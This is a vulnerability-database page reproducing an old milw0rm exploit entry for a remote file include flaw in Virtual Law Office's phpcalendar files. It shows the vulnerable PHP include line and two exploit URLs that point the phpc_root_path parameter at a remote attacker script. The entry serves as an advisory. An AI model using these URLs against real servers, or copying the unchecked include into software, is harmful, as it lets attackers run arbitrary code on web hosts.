Virtual Law Office (phpc_root_path) Remote File Include Vulnerability

vendor:

Virtual Law Office (VLO)

by:

xoron

8,8

CVSS

HIGH

Remote File Include

CWE

Product Name: Virtual Law Office (VLO)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Virtual Law Office (phpc_root_path) Remote File Include Vulnerability

A vulnerability in Virtual Law Office (VLO) allows remote attackers to execute arbitrary code by including a malicious file via the phpc_root_path parameter in a URL.

Mitigation:

Upgrade to the latest version of Virtual Law Office (VLO) or apply the appropriate patch.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Virtual Law Office (phpc_root_path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include($phpc_root_path . 'config.php');


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/phpcalendar/includes/calendar.php?phpc_root_path=http://evil_script?
http://www.hedef.com/[script_path]/phpcalendar/includes/setup.php?phpc_root_path=http://evil_script?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1k4t, x_w0x, DJR, mdx, ERNE:)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://www.gocc.gov/groups/MA_ITD/stateprojects/files/VLO/vlo.zip

# milw0rm.com [2006-10-21]